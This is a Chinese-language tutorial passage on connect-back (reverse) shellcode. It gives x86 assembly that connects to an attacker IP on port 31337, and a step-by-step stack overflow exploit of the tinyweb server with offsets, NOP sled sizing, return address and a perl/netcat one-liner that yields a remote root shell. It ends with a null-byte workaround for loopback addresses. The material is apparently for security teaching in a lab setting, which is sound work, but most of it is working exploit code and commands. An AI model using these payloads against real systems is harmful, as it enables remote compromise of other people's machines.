Port-binding shellcode 很容易被防火牆挫敗。

為什麼需要「反連」#

大多數防火牆會封鎖連入連線,只放行特定已知服務的連接埠。軟體防火牆如今如此普遍,port-bind shellcode 在真實世界幾乎沒機會成功接到連線。

但關鍵的不對稱在於:

防火牆通常不過濾連出(outbound)連線,否則會妨礙可用性——防火牆內的使用者應能瀏覽任何網頁、發起任何連出連線。這意味著若由 shellcode 發起連出連線,多數防火牆都會放行

反連 shellcode(connect-back shellcode) 不等攻擊者連來,而是主動向攻擊者的 IP 發起 TCP 連線。開 TCP 連線只需 socket()connect()——與 port-bind shellcode 極相似(socket 呼叫完全相同,connect() 引數型別與 bind() 相同)。

從 bind 改成 connect#

只需幾處修改:把 bind 換成 connectSYS_CONNECT=3),並在 sockaddr 結構中加入攻擊者的 IP:

; connect(s, [2, 31337, <IP>], 16)
push DWORD 0x482aa8c0  ; IP = 192.168.42.72(反序)
push WORD 0x697a       ; PORT = 31337(反序)
push WORD bx           ; AF_INET = 2
mov ecx, esp
...
inc ebx                ; ebx = 3 = SYS_CONNECT
int 0x80

IP 192.168.42.72 各段的十六進位是 0xc0 0xa8 0x2a 0x48。由於以網路位元組順序儲存、x86 又是 little-endian,DWORD 反過來成為 0x482aa8c0;連接埠 31337 的 WORD 同理為 0x697a。用 nc -v -l -p 31337 監聽即可接到反連的 root shell。

利用 tinyweb:對齊與邊界#

用反連 shellcode 遠端利用 tinyweb(request 緩衝區 500 位元組、位於 0xbffff5c0、返回位址在緩衝區尾端 40 位元組內):

從緩衝區起點到返回位址 offset 是 540 位元組,所以要覆寫 4 位元組返回位址共需寫 544 位元組。兩個約束:

  1. 對齊:返回位址多位元組,NOP sled + shellcode 的總位元組數必須能被 4 整除。
  2. 邊界:shellcode 必須落在前 500 位元組內(response 緩衝區範圍),否則之後的堆疊值可能在我們改變控制流前被覆寫,導致崩潰。

把返回位址重複 16 次生成 64 位元組放在尾端、讓 shellcode 安全落在緩衝區內;402 位元組的 NOP sled 恰好對齊 78 位元組的 shellcode。用 0xbffff688 覆寫返回位址,執行就落回 NOP sled 中段、避開開頭可能被弄亂的位元組:

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402'; cat connectback_shell; \
  perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80

另一終端的 netcat 就收到遠端 root shell。

Loopback 位址的 null 位元組問題#

loopback:如何在 shellcode 中處理含 null 的位址

上例攻擊 127.0.0.1、shellcode 卻反連 192.168.42.72——兩者路由到同一處,但 192.168.42.72 在 shellcode 中比 127.0.0.1 好用。

loopback_shell.s 的做法是:先 push 0x01BBBB7f,再用清零的暫存器把中間兩個 BB 位元組覆寫成 0:

push DWORD 0x01BBBB7f  ; 含佔位的 BBBB
mov WORD [esp+1], dx   ; 把 [esp+1] 的兩位元組寫成 0000

這多出的指令讓 shellcode 大幾位元組,NOP sled 也要跟著調整(變成 397 位元組)。監聽 31337 的 netcat 同樣收到 root shell。